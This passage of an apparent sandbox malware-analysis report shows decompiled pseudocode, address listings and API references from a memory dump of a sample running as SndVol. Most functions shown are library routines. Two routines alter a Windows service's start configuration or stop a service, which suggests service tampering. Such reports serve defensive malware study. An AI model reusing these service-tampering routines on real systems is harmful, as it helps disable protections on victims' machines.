											if(_t153 == 0) {
												goto L105;
											}
											goto L108;
										}
										_t103 = _t102 - 6;
										__eflags = _t103;
										if(_t103 == 0) {
											_t153 = _t152 - 1;
											__eflags = _t153;
											if(_t153 == 0) {
												_v32 = 1;
												L100:
												_push(0x53);
												goto L111;
											}
											_t153 = _t153 - 1;
											__eflags = _t153;
											if(_t153 == 0) {
												goto L100;
											}
											goto L108;
										}
										_t104 = _t103 - 1;
										__eflags = _t104;
										if(_t104 == 0) {
											_t105 = _v48;
											__eflags =  *((intOrPtr*)(_t105 + 8)) - 0xb;
											if( *((intOrPtr*)(_t105 + 8)) > 0xb) {
												_t173 =  *(_t145 + 0x150);
											} else {
												_t173 =  *(_t145 + 0x14c);
											}
											__eflags = _t152 - 1;
											if(_t152 != 1) {
												L91:
												_t155 =  *_t173 & 0x0000ffff;
												__eflags = _t155;
												if(_t155 == 0) {
													goto L112;
												}
												_t146 = _v40;
												while(1) {
													__eflags =  *_t183;
													if( *_t183 <= 0) {
														goto L112;
													}
													_t173 =  &(_t173[1]);
													 *( *_t146) = _t155;
													 *_t146 =  &(( *_t146)[0]);
													 *_t183 =  *_t183 - 1;
													_t155 =  *_t173 & 0x0000ffff;
													__eflags = _t155;
													if(_t155 != 0) {
														continue;
													}
													goto L112;
												}
											} else {
												__eflags =  *_t183;
												if( *_t183 <= 0) {
													goto L91;
												}
												_t180 = _v40;
												 *((short*)( *_t180)) =  *_t173;
												 *_t180 =  *_t180 + 2;
												 *_t183 =  *_t183 - 1;
											}
											goto L112;
										}
										__eflags = _t104 != 5;
										if(_t104 != 5) {
											goto L108;
										}
										_t153 = _t152;
										__eflags = _t153;
										if(_t153 == 0) {
											_push(0x79);
											goto L111;
										}
										_t153 = _t153;
										__eflags = _t153;
										if(_t153 != 0) {
											goto L108;
										}
										_push(0x59);
										goto L111;
									}
									if(__eflags == 0) {
										_t153 = _t152 - 1;
										__eflags = _t153;
										if(_t153 == 0) {
											_v32 = 1;
											L75:
											_push(0x64);
											goto L111;
										}
										_t153 = _t153 - 1;
										__eflags = _t153;
										if(_t153 == 0) {
											goto L75;
										}
										_t153 = _t153 - 1;
										__eflags = _t153;
										if(_t153 == 0) {
											_push(0x61);
											goto L111;
										}
										_t153 = _t153 - 1;
										__eflags = _t153;
										if(_t153 != 0) {
											goto L108;
										}
										_push(0x41);
										goto L111;
									}
									__eflags = _t95 - 0x27;
									if(_t95 == 0x27) {
										_t110 = _t152 & 0x80000001;
										__eflags = _t110;
										if(__eflags < 0) {
											__eflags = (_t110 - 0x00000001 | 0xfffffffe) + 1;
										}
										_t179 =  &(_t179[_t152]);
										if(__eflags == 0) {
											_t159 =  *_t179 & 0x0000ffff;
											__eflags = _t159;
											if(_t159 == 0) {
												goto L28;
											}
											_t174 = _v40;
											while(1) {
												__eflags =  *_t183;
												if( *_t183 == 0) {
													goto L113;
												}
												_t111 = 0x27;
												_t179 =  &(_t179[1]);
												__eflags = _t159 - _t111;
												if(_t159 == _t111) {
													goto L113;
												}
												 *( *_t174) = _t159;
												 *_t174 =  &(( *_t174)[0]);
												 *_t183 =  *_t183 - 1;
												_t159 =  *_t179 & 0x0000ffff;
												__eflags = _t159;
												if(_t159 != 0) {
													continue;
												}
												goto L113;
											}
										}
										continue;
									}
									__eflags = _t95 - 0x41;
									if(_t95 == 0x41) {
										L41:
										_t116 = E00453965(_t145, _t179, _t183, _t179, L"am/pm");
										__eflags = _t116;
										if(_t116 != 0) {
											_t117 = E00453965(_t145, _t179, _t183, _t179, L"a/p");
											_pop(_t153);
											__eflags = _t117;
											if(_t117 == 0) {
												_v28 =  &(_t179[3]);
											}
										} else {
											_t153 =  &(_t179[5]);
											_v28 =  &(_t179[5]);
										}
										_push(0x70);
										goto L111;
									}
									__eflags = _t95 - 0x48;
									if(_t95 == 0x48) {
										_t153 = _t152 - 1;
										__eflags = _t153;
										if(_t153 == 0) {
											_v32 = 1;
											L55:
											_push(0x48);
											goto L111;
										}
										_t153 = _t153 - 1;
										__eflags = _t153;
										if(_t153 == 0) {
											goto L55;
										}
										goto L108;
									}
									__eflags = _t95 - 0x4d;
									if(_t95 == 0x4d) {
										_t153 = _t152 - 1;
										__eflags = _t153;
										if(_t153 == 0) {
											_v32 = 1;
											L50:
											_push(0x6d);
											goto L111;
										}
										_t153 = _t153 - 1;
										__eflags = _t153;
										if(_t153 == 0) {
											goto L50;
										}
										_t153 = _t153 - 1;
										__eflags = _t153;
										if(_t153 == 0) {
											_push(0x62);
											goto L111;
										}
										_t153 = _t153 - 1;
										__eflags = _t153;
										if(_t153 != 0) {
											goto L108;
										}
										_push(0x42);
										goto L111;
									}
									__eflags = _t95 - 0x61;
									if(_t95 != 0x61) {
										goto L108;
									}
									goto L41;
								}
								goto L28;
							}
							_t203 = _v33;
							if(_v33 == 0) {
								_t133 = E0044873B(_t165, _t184, __eflags,  *((intOrPtr*)(_v44 + 0x160)), 0,  &_v24, _t179, _t184, _t147, 0);
							} else {
								_t133 = E0044887D(_t165, _t184, _t203,  *((intOrPtr*)(_v44 + 0x160)), 0,  &_v24, _t179, _t184, _t147);
							}
							_t181 = _t184;
							_t177 = _t133 - 1;
							if(_t177 <= 0) {
								L27:
								E00435D93(_t184);
								goto L28;
							} else {
								_t148 = _v32;
								_t185 = _v40;
								while( *_t148 > 0) {
									_t135 =  *_t181;
									_t181 = _t181 + 2;
									 *( *_t185) = _t135;
									 *_t185 =  &(( *_t185)[0]);
									 *_t148 =  *_t148 - 1;
									_t177 = _t177 - 1;
									if(_t177 > 0) {
										continue;
									}
									break;
								}
								_t184 = _v28;
								goto L27;
							}
						}
						asm("sbb eax, eax");
						_t137 = _t129 & _t175 + 0x00000008;
						_t165 = _t175 + 8;
						if((_t129 & _t175 + 0x00000008) > 0x400) {
							__eflags = _t175 - _t165;
							asm("sbb eax, eax");
							_t186 = E00446087(_t165, _t137 & _t165);
							_v28 = _t186;
							_pop(_t165);
							__eflags = _t186;
							if(__eflags == 0) {
								goto L30;
							}
							 *_t186 = 0xdddd;
							L14:
							_t184 = _t186 + 8;
							goto L18;
						}
						asm("sbb eax, eax");
						E004570E0();
						_t186 = _t188;
						_v28 = _t186;
						if(_t186 == 0) {
							goto L30;
						}
						 *_t186 = 0xcccc;
						goto L14;
					}
				}
			}































































                                    0x00447441
                                    0x00447449
                                    0x00447450
                                    0x00447456
                                    0x00447459
                                    0x00447460
                                    0x00447463
                                    0x00447469
                                    0x0044746c
                                    0x00447470
                                    0x00447473
                                    0x00447477
                                    0x0044747a
                                    0x00447491
                                    0x0044747c
                                    0x0044747f
                                    0x00447489
                                    0x00447481
                                    0x00447481
                                    0x00447481
                                    0x0044747f
                                    0x0044749e
                                    0x00000000
                                    0x004474a4
                                    0x004474ad
                                    0x004474b4
                                    0x004474be
                                    0x004474c1
                                    0x004474c9
                                    0x004474d1
                                    0x004474d9
                                    0x004474e0
                                    0x004474e6
                                    0x004474ed
                                    0x004474ef
                                    0x00447505
                                    0x00447513
                                    0x004474f1
                                    0x004474fe
                                    0x004474fe
                                    0x00447518
                                    0x0044751c
                                    0x00000000
                                    0x00447522
                                    0x00447522
                                    0x00447525
                                    0x0044752a
                                    0x0044752e
                                    0x00447588
                                    0x00447588
                                    0x0044758a
                                    0x0044758a
                                    0x0044758f
                                    0x0044760f
                                    0x00447611
                                    0x00447616
                                    0x0044788d
                                    0x0044788d
                                    0x0044788d
                                    0x00447890
                                    0x00447893
                                    0x00000000
                                    0x00000000
                                    0x0044761f
                                    0x00447622
                                    0x004475f9
                                    0x004475fb
                                    0x0044760e
                                    0x0044760e
                                    0x00447624
                                    0x00447628
                                    0x00447628
                                    0x0044762a
                                    0x0044762d
                                    0x0044762f
                                    0x00447632
                                    0x00447632
                                    0x00447635
                                    0x00447636
                                    0x00447636
                                    0x0044763b
                                    0x0044763e
                                    0x00447641
                                    0x00447644
                                    0x00447647
                                    0x0044777c
                                    0x0044777c
                                    0x0044777f
                                    0x0044784c
                                    0x0044784c
                                    0x0044784f
                                    0x00447868
                                    0x0044786c
                                    0x0044786c
                                    0x0044786e
                                    0x0044786e
                                    0x0044786f
                                    0x00447872
                                    0x00447873
                                    0x00447874
                                    0x00447877
                                    0x0044787b
                                    0x0044787e
                                    0x00447883
                                    0x00447886
                                    0x00447888
                                    0x004478a3
                                    0x00000000
                                    0x004478a9
                                    0x0044788a
                                    0x0044788a
                                    0x00000000
                                    0x0044788a
                                    0x00447851
                                    0x00447851
                                    0x00447854
                                    0x00000000
                                    0x00000000
                                    0x00447856
                                    0x00447856
                                    0x00447859
                                    0x0044785e
                                    0x00447861
                                    0x00447864
                                    0x00000000
                                    0x00447864
                                    0x00447785
                                    0x00447785
                                    0x00447788
                                    0x00447838
                                    0x00447838
                                    0x0044783b
                                    0x00447844
                                    0x00447848
                                    0x00447848
                                    0x00000000
                                    0x00447848
                                    0x0044783d
                                    0x0044783d
                                    0x00447840
                                    0x00000000
                                    0x00000000
                                    0x00000000
                                    0x00447842
                                    0x0044778e
                                    0x0044778e
                                    0x00447791
                                    0x00447824
                                    0x00447824
                                    0x00447827
                                    0x00447830
                                    0x00447834
                                    0x00447834
                                    0x00000000
                                    0x00447834
                                    0x00447829
                                    0x00447829
                                    0x0044782c
                                    0x00000000
                                    0x00000000
                                    0x00000000
                                    0x0044782e
                                    0x00447797
                                    0x00447797
                                    0x0044779a
                                    0x004477c3
                                    0x004477c6
                                    0x004477ca
                                    0x004477d4
                                    0x004477cc
                                    0x004477cc
                                    0x004477cc
                                    0x004477da
                                    0x004477dd
                                    0x004477f9
                                    0x004477f9
                                    0x004477fc
                                    0x004477ff
                                    0x00000000
                                    0x00000000
                                    0x00447805
                                    0x00447808
                                    0x00447808
                                    0x0044780b
                                    0x00000000
                                    0x00000000
                                    0x0044780f
                                    0x00447812
                                    0x00447815
                                    0x00447818
                                    0x0044781a
                                    0x0044781d
                                    0x00447820
                                    0x00000000
                                    0x00000000
                                    0x00000000
                                    0x00447822
                                    0x004477df
                                    0x004477df
                                    0x004477e2
                                    0x00000000
                                    0x00000000
                                    0x004477e4
                                    0x004477ec
                                    0x004477ef
                                    0x004477f2
                                    0x004477f2
                                    0x00000000
                                    0x004477dd
                                    0x0044779c
                                    0x0044779f
                                    0x00000000
                                    0x00000000
                                    0x004477a6
                                    0x004477a6
                                    0x004477a9
                                    0x004477bc
                                    0x00000000
                                    0x004477bc
                                    0x004477ac
                                    0x004477ac
                                    0x004477af
                                    0x00000000
                                    0x00000000
                                    0x004477b5
                                    0x00000000
                                    0x004477b5
                                    0x0044764d
                                    0x0044774b
                                    0x0044774b
                                    0x0044774e
                                    0x00447771
                                    0x00447775
                                    0x00447775
                                    0x00000000
                                    0x00447775
                                    0x00447750
                                    0x00447750
                                    0x00447753
                                    0x00000000
                                    0x00000000
                                    0x00447755
                                    0x00447755
                                    0x00447758
                                    0x0044776a
                                    0x00000000
                                    0x0044776a
                                    0x0044775a
                                    0x0044775a
                                    0x0044775d
                                    0x00000000
                                    0x00000000
                                    0x00447763
                                    0x00000000
                                    0x00447763
                                    0x00447653
                                    0x00447656
                                    0x004476f8
                                    0x004476f8
                                    0x004476fd
                                    0x00447703
                                    0x00447703
                                    0x00447704
                                    0x00447707
                                    0x0044770d
                                    0x00447710
                                    0x00447713
                                    0x00000000
                                    0x00000000
                                    0x00447719
                                    0x0044771c
                                    0x0044771c
                                    0x0044771f
                                    0x00000000
                                    0x00000000
                                    0x00447727
                                    0x00447728
                                    0x0044772b
                                    0x0044772e
                                    0x00000000
                                    0x00000000
                                    0x00447736
                                    0x00447739
                                    0x0044773c
                                    0x0044773e
                                    0x00447741
                                    0x00447744
                                    0x00000000
                                    0x00000000
                                    0x00000000
                                    0x00447746
                                    0x0044771c
                                    0x00000000
                                    0x00447707
                                    0x0044765c
                                    0x0044765f
                                    0x00447674
                                    0x0044767a
                                    0x00447681
                                    0x00447683
                                    0x004476de
                                    0x004476e4
                                    0x004476e5
                                    0x004476e7
                                    0x004476ec
                                    0x004476ec
                                    0x00447685
                                    0x00447685
                                    0x00447688
                                    0x00447688
                                    0x004476ef
                                    0x00000000
                                    0x004476ef
                                    0x00447661
                                    0x00447664
                                    0x004476be
                                    0x004476be
                                    0x004476c1
                                    0x004476cd
                                    0x004476d1
                                    0x004476d1
                                    0x00000000
                                    0x004476d1
                                    0x004476c3
                                    0x004476c3
                                    0x004476c6
                                    0x00000000
                                    0x00000000
                                    0x00000000
                                    0x004476c8
                                    0x00447666
                                    0x00447669
                                    0x0044768d
                                    0x0044768d
                                    0x00447690
                                    0x004476b3
                                    0x004476b7
                                    0x004476b7
                                    0x00000000
                                    0x004476b7
                                    0x00447692
                                    0x00447692
                                    0x00447695
                                    0x00000000
                                    0x00000000
                                    0x00447697
                                    0x00447697
                                    0x0044769a
                                    0x004476ac
                                    0x00000000
                                    0x004476ac
                                    0x0044769c
                                    0x0044769c
                                    0x0044769f
                                    0x00000000
                                    0x00000000
                                    0x004476a5
                                    0x00000000
                                    0x004476a5
                                    0x0044766b
                                    0x0044766e
                                    0x00000000
                                    0x00000000
                                    0x00000000
                                    0x0044766e
                                    0x00000000
                                    0x00447899
                                    0x00447591
                                    0x00447598
                                    0x004475c1
                                    0x0044759a
                                    0x004475a9
                                    0x004475a9
                                    0x004475c8
                                    0x004475ca
                                    0x004475cd
                                    0x004475f2
                                    0x004475f3
                                    0x00000000
                                    0x004475cf
                                    0x004475cf
                                    0x004475d2
                                    0x004475d5
                                    0x004475dc
                                    0x004475df
                                    0x004475e2
                                    0x004475e5
                                    0x004475e8
                                    0x004475ea
                                    0x004475ed
                                    0x00000000
                                    0x00000000
                                    0x00000000
                                    0x004475ed
                                    0x004475ef
                                    0x00000000
                                    0x004475ef
                                    0x004475cd
                                    0x00447535
                                    0x00447537
                                    0x00447539
                                    0x00447541
                                    0x00447566
                                    0x00447568
                                    0x00447572
                                    0x00447574
                                    0x00447577
                                    0x00447578
                                    0x0044757a
                                    0x00000000
                                    0x00000000
                                    0x00447580
                                    0x00447561
                                    0x00447561
                                    0x00000000
                                    0x00447561
                                    0x00447545
                                    0x00447549
                                    0x0044754e
                                    0x00447550
                                    0x00447555
                                    0x00000000
                                    0x00000000
                                    0x0044755b
                                    0x00000000
                                    0x0044755b
                                    0x0044751c

                                    APIs
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: __freea$__alloca_probe_16_free
                                    • String ID: a/p$am/pm
                                    • API String ID: 2936374016-3206640213
                                    • Opcode ID: f7eb109463775bf71eaffcc2eefbdb172b66036c1314f4e384167d14f26ad2ad
                                    • Instruction ID: feb13b10d657ffb74e22d8a2b3b2272eeed7a11e25ff9e94782721edaceac404
                                    • Opcode Fuzzy Hash: f7eb109463775bf71eaffcc2eefbdb172b66036c1314f4e384167d14f26ad2ad
                                    • Instruction Fuzzy Hash: 9ED104319082069AEB28AF68C889BBFB7B1FF05710F25415BE5059B740D33D9D43CBA9
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 00410DAF Relevance: 9.1, APIs: 6, Instructions: 75COMMON
                                    Download Yara Rule
                                    C-Code - Quality: 92%
                                    			E00410DAF(void* __ebx, void* __edx, void* __edi, void* __eflags, intOrPtr _a4) {
				void* _v8;
				char _v12;
				char _v24;
				void* __esi;
				intOrPtr _t40;
				void* _t48;
				intOrPtr* _t51;

				E0043524B( &_v12, 0);
				_t48 =  *0x476b24;
				_v8 = _t48;
				_t51 = E0040E0E0(_a4, E0040E00F(0x472140));
				if(_t51 != 0) {
					L5:
					E004352A3( &_v12);
					return _t51;
				} else {
					if(_t48 == 0) {
						__eflags = E0040E1F7(__ebx, __edx,  &_v8, _a4) - 0xffffffff;
						if(__eflags == 0) {
							E0040DEDB( &_v24);
							E00439076( &_v24, 0x46ee0c);
							asm("int3");
							_t40 =  *((intOrPtr*)( *[fs:0x2c]));
							__eflags =  *0x476b18 -  *((intOrPtr*)(_t40 + 4));
							if( *0x476b18 >  *((intOrPtr*)(_t40 + 4))) {
								_push(_t51);
								E00434338(0x476b18);
								__eflags =  *0x476b18 - 0xffffffff;
								if( *0x476b18 == 0xffffffff) {
									E00411156();
									E004346C2(__eflags, 0x457fbc);
									E004342F9(0x476b18, 0x476b18);
								}
							}
							return 0x476b1c;
						} else {
							_t51 = _v8;
							 *0x476b24 = _t51;
							 *((intOrPtr*)( *_t51 + 4))();
							E0043545C(__eflags, _t51);
							goto L5;
						}
					} else {
						_t51 = _t48;
						goto L5;
					}
				}
			}










                                    0x00410dbc
                                    0x00410dc1
                                    0x00410dcc
                                    0x00410ddd
                                    0x00410de1
                                    0x00410e15
                                    0x00410e18
                                    0x00410e24
                                    0x00410de3
                                    0x00410de5
                                    0x00410df9
                                    0x00410dfc
                                    0x00410e28
                                    0x00410e36
                                    0x00410e3b
                                    0x00410e42
                                    0x00410e49
                                    0x00410e4f
                                    0x00410e51
                                    0x00410e58
                                    0x00410e5d
                                    0x00410e65
                                    0x00410e67
                                    0x00410e71
                                    0x00410e77
                                    0x00410e7d
                                    0x00410e7e
                                    0x00410e84
                                    0x00410dfe
                                    0x00410dfe
                                    0x00410e03
                                    0x00410e0b
                                    0x00410e0f
                                    0x00000000
                                    0x00410e14
                                    0x00410de7
                                    0x00410de7
                                    0x00000000
                                    0x00410de7
                                    0x00410de5

                                    APIs
                                    • std::_Lockit::_Lockit.LIBCPMT ref: 00410DBC
                                    • int.LIBCPMT ref: 00410DCF
                                      • Part of subcall function 0040E00F: std::_Lockit::_Lockit.LIBCPMT ref: 0040E020
                                      • Part of subcall function 0040E00F: std::_Lockit::~_Lockit.LIBCPMT ref: 0040E03A
                                    • std::_Facet_Register.LIBCPMT ref: 00410E0F
                                    • std::_Lockit::~_Lockit.LIBCPMT ref: 00410E18
                                    • __CxxThrowException@8.LIBVCRUNTIME ref: 00410E36
                                    • __Init_thread_footer.LIBCMT ref: 00410E77
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_Init_thread_footerRegisterThrow
                                    • String ID:
                                    • API String ID: 3815856325-0
                                    • Opcode ID: 6a0c9a8176815444f824243aee631c125f870261b8be80fa6d17023429a1c596
                                    • Instruction ID: 89290163644cc3ecf4d3598efb77c9e802dbd746a74252a2fea3fb32f945da4f
                                    • Opcode Fuzzy Hash: 6a0c9a8176815444f824243aee631c125f870261b8be80fa6d17023429a1c596
                                    • Instruction Fuzzy Hash: 63212932A00924ABC714EB6AD8459DE73A89F49324F21056FF405A72D1DF7C6D81CBDD
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 0041ABCA Relevance: 9.1, APIs: 6, Instructions: 67serviceCOMMON
                                    Download Yara Rule
                                    C-Code - Quality: 76%
                                    			E0041ABCA(signed char __ecx, char _a4) {
				signed char _v5;
				void* _t7;
				signed int _t11;
				void* _t17;
				short* _t21;
				signed int _t24;
				int _t25;
				void* _t28;
				void* _t31;

				_push(__ecx);
				_t21 = 0;
				_v5 = __ecx;
				_t7 = OpenSCManagerW(0, 0, 2);
				_t24 =  &_a4;
				_t31 = _t7;
				_t28 = OpenServiceW(_t31, E00401F04(_t24), 2);
				if(_t28 != 0) {
					_t25 = _t24 | 0xffffffff;
					_t11 = _v5 & 0x000000ff;
					if(_t11 == 0) {
						_push(4);
						goto L8;
					} else {
						_t17 = _t11 - 1;
						if(_t17 == 0) {
							_push(2);
							goto L8;
						} else {
							if(_t17 == 1) {
								_push(3);
								L8:
								_pop(_t25);
							}
						}
					}
					_t21 = _t21 & 0xffffff00 | ChangeServiceConfigW(_t28, 0xffffffff, _t25, 0xffffffff, _t21, _t21, _t21, _t21, _t21, _t21, _t21) != 0x00000000;
					CloseServiceHandle(_t31);
					CloseServiceHandle(_t28);
				} else {
					CloseServiceHandle(_t31);
				}
				E00401F09();
				return _t21;
			}












                                    0x0041abcd
                                    0x0041abd3
                                    0x0041abd5
                                    0x0041abda
                                    0x0041abe2
                                    0x0041abe5
                                    0x0041abf4
                                    0x0041abf8
                                    0x0041ac07
                                    0x0041ac0a
                                    0x0041ac0c
                                    0x0041ac20
                                    0x00000000
                                    0x0041ac0e
                                    0x0041ac0e
                                    0x0041ac11
                                    0x0041ac1c
                                    0x00000000
                                    0x0041ac13
                                    0x0041ac16
                                    0x0041ac18
                                    0x0041ac22
                                    0x0041ac22
                                    0x0041ac22
                                    0x0041ac16
                                    0x0041ac11
                                    0x0041ac3f
                                    0x0041ac42
                                    0x0041ac45
                                    0x0041abfa
                                    0x0041abfb
                                    0x0041abfb
                                    0x0041ac4a
                                    0x0041ac57

                                    APIs
                                    • OpenSCManagerW.ADVAPI32(00000000,00000000,00000002,00000000,00000000,?,?,?,0041A2E0,00000000), ref: 0041ABDA
                                    • OpenServiceW.ADVAPI32(00000000,00000000,00000002,?,?,?,0041A2E0,00000000), ref: 0041ABEE
                                    • CloseServiceHandle.ADVAPI32(00000000,?,?,?,0041A2E0,00000000), ref: 0041ABFB
                                    • ChangeServiceConfigW.ADVAPI32(00000000,000000FF,00000004,000000FF,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,?,?,0041A2E0,00000000), ref: 0041AC30
                                    • CloseServiceHandle.ADVAPI32(00000000,?,?,?,0041A2E0,00000000), ref: 0041AC42
                                    • CloseServiceHandle.ADVAPI32(00000000,?,?,?,0041A2E0,00000000), ref: 0041AC45
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: Service$CloseHandle$Open$ChangeConfigManager
                                    • String ID:
                                    • API String ID: 493672254-0
                                    • Opcode ID: 8ab29b6f8dfadc739c1cfd945ac31cc587d16b71351be81549c8dfaccb54f5d1
                                    • Instruction ID: 8b6955fd2b5891fb0bb0a3875c483b4ec5dbde3586078a779e8fc64e648b0f52
                                    • Opcode Fuzzy Hash: 8ab29b6f8dfadc739c1cfd945ac31cc587d16b71351be81549c8dfaccb54f5d1
                                    • Instruction Fuzzy Hash: E9016D31146214BBD6111B349C0EEFB3B6CDB01775F10072BFA25922D1EA68CE8191EA
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 004480E5 Relevance: 9.0, APIs: 6, Instructions: 50COMMONLIBRARYCODE
                                    Download Yara Rule
                                    C-Code - Quality: 75%
                                    			E004480E5(void* __ebx, void* __ecx, void* __edx) {
				void* __edi;
				void* __esi;
				intOrPtr _t2;
				void* _t3;
				void* _t4;
				intOrPtr _t9;
				void* _t11;
				void* _t20;
				void* _t21;
				void* _t23;
				void* _t25;
				void* _t27;
				void* _t29;
				void* _t31;
				void* _t32;
				long _t36;
				long _t37;
				void* _t40;

				_t29 = __edx;
				_t23 = __ecx;
				_t20 = __ebx;
				_t36 = GetLastError();
				_t2 =  *0x4711dc; // 0x8
				_t42 = _t2 - 0xffffffff;
				if(_t2 == 0xffffffff) {
					L2:
					_t3 = E00445A43(_t23, 1, 0x364);
					_t31 = _t3;
					_pop(_t25);
					if(_t31 != 0) {
						_t4 = E004486E2(_t25, _t36, __eflags,  *0x4711dc, _t31);
						__eflags = _t4;
						if(_t4 != 0) {
							E00447F57(_t25, _t31, 0x472664);
							E00446652(0);
							_t40 = _t40 + 0xc;
							__eflags = _t31;
							if(_t31 == 0) {
								goto L9;
							} else {
								goto L8;
							}
						} else {
							_push(_t31);
							goto L4;
						}
					} else {
						_push(_t3);
						L4:
						E00446652();
						_pop(_t25);
						L9:
						SetLastError(_t36);
						E00446044(_t20, _t29, _t31, _t36);
						asm("int3");
						_push(_t20);
						_push(_t36);
						_push(_t31);
						_t37 = GetLastError();
						_t21 = 0;
						_t9 =  *0x4711dc; // 0x8
						_t45 = _t9 - 0xffffffff;
						if(_t9 == 0xffffffff) {
							L12:
							_t32 = E00445A43(_t25, 1, 0x364);
							_pop(_t27);
							if(_t32 != 0) {
								_t11 = E004486E2(_t27, _t37, __eflags,  *0x4711dc, _t32);
								__eflags = _t11;
								if(_t11 != 0) {
									E00447F57(_t27, _t32, 0x472664);
									E00446652(_t21);
									__eflags = _t32;
									if(_t32 != 0) {
										goto L19;
									} else {
										goto L18;
									}
								} else {
									_push(_t32);
									goto L14;
								}
							} else {
								_push(_t21);
								L14:
								E00446652();
								L18:
								SetLastError(_t37);
							}
						} else {
							_t32 = E0044868C(_t25, _t37, _t45, _t9);
							if(_t32 != 0) {
								L19:
								SetLastError(_t37);
								_t21 = _t32;
							} else {
								goto L12;
							}
						}
						return _t21;
					}
				} else {
					_t31 = E0044868C(_t23, _t36, _t42, _t2);
					if(_t31 != 0) {
						L8:
						SetLastError(_t36);
						return _t31;
					} else {
						goto L2;
					}
				}
			}





















                                    0x004480e5
                                    0x004480e5
                                    0x004480e5
                                    0x004480ef
                                    0x004480f1
                                    0x004480f6
                                    0x004480f9
                                    0x00448107
                                    0x0044810e
                                    0x00448113
                                    0x00448116
                                    0x00448119
                                    0x0044812b
                                    0x00448130
                                    0x00448132
                                    0x0044813d
                                    0x00448144
                                    0x00448149
                                    0x0044814c
                                    0x0044814e
                                    0x00000000
                                    0x00000000
                                    0x00000000
                                    0x00000000
                                    0x00448134
                                    0x00448134
                                    0x00000000
                                    0x00448134
                                    0x0044811b
                                    0x0044811b
                                    0x0044811c
                                    0x0044811c
                                    0x00448121
                                    0x0044815c
                                    0x0044815d
                                    0x00448163
                                    0x00448168
                                    0x0044816b
                                    0x0044816c
                                    0x0044816d
                                    0x00448174
                                    0x00448176
                                    0x00448178
                                    0x0044817d
                                    0x00448180
                                    0x0044818e
                                    0x0044819a
                                    0x0044819d
                                    0x004481a0
                                    0x004481b2
                                    0x004481b7
                                    0x004481b9
                                    0x004481c4
                                    0x004481ca
                                    0x004481d2
                                    0x004481d4
                                    0x00000000
                                    0x00000000
                                    0x00000000
                                    0x00000000
                                    0x004481bb
                                    0x004481bb
                                    0x00000000
                                    0x004481bb
                                    0x004481a2
                                    0x004481a2
                                    0x004481a3
                                    0x004481a3
                                    0x004481d6
                                    0x004481d7
                                    0x004481d7
                                    0x00448182
                                    0x00448188
                                    0x0044818c
                                    0x004481df
                                    0x004481e0
                                    0x004481e6
                                    0x00000000
                                    0x00000000
                                    0x00000000
                                    0x0044818c
                                    0x004481ed
                                    0x004481ed
                                    0x004480fb
                                    0x00448101
                                    0x00448105
                                    0x00448150
                                    0x00448151
                                    0x0044815b
                                    0x00000000
                                    0x00000000
                                    0x00000000
                                    0x00448105

                                    APIs
                                    • GetLastError.KERNEL32(00000020,?,0043A745,?,?,?,0043F8F8,?,?,00000020,00000000,?,?,?,0042DC53,0000003B), ref: 004480E9
                                    • _free.LIBCMT ref: 0044811C
                                    • _free.LIBCMT ref: 00448144
                                    • SetLastError.KERNEL32(00000000,0043F8F8,?,?,00000020,00000000,?,?,?,0042DC53,0000003B,?,00000041,00000000,00000000), ref: 00448151
                                    • SetLastError.KERNEL32(00000000,0043F8F8,?,?,00000020,00000000,?,?,?,0042DC53,0000003B,?,00000041,00000000,00000000), ref: 0044815D
                                    • _abort.LIBCMT ref: 00448163
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: ErrorLast$_free$_abort
                                    • String ID:
                                    • API String ID: 3160817290-0
                                    • Opcode ID: 72d9dfed2c612fb7fc40968e50d96285ced74183b045fe3906e70e8c12316b41
                                    • Instruction ID: 5599c4ec1eebb9eed4b644139fb58ecb34d5d9454e059c6858d323887033e907
                                    • Opcode Fuzzy Hash: 72d9dfed2c612fb7fc40968e50d96285ced74183b045fe3906e70e8c12316b41
                                    • Instruction Fuzzy Hash: F5F0A43510470066F611372A6C0AB6F26598BD3765F26092FF918A2393EE2CCC47816D
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 0041A9F8 Relevance: 9.0, APIs: 6, Instructions: 45serviceCOMMON
                                    Download Yara Rule
                                    C-Code - Quality: 100%
                                    			E0041A9F8(char _a4) {
				struct _SERVICE_STATUS _v32;
				signed int _t16;
				void* _t19;
				void* _t20;

				_t16 = 0;
				_t20 = OpenSCManagerW(0, 0, 0x20);
				_t19 = OpenServiceW(_t20, E00401F04( &_a4), 0x20);
				if(_t19 != 0) {
					_t16 = 0 | ControlService(_t19, 1,  &_v32) != 0x00000000;
					CloseServiceHandle(_t20);
					CloseServiceHandle(_t19);
				} else {
					CloseServiceHandle(_t20);
				}
				E00401F09();
				return _t16;
			}







                                    0x0041aa03
                                    0x0041aa12
                                    0x0041aa21
                                    0x0041aa25
                                    0x0041aa46
                                    0x0041aa49
                                    0x0041aa4c
                                    0x0041aa27
                                    0x0041aa28
                                    0x0041aa28
                                    0x0041aa51
                                    0x0041aa5e

                                    APIs
                                    • OpenSCManagerW.ADVAPI32(00000000,00000000,00000020,00000000,00000001,?,?,?,?,?,?,0041A575,00000000), ref: 0041AA07
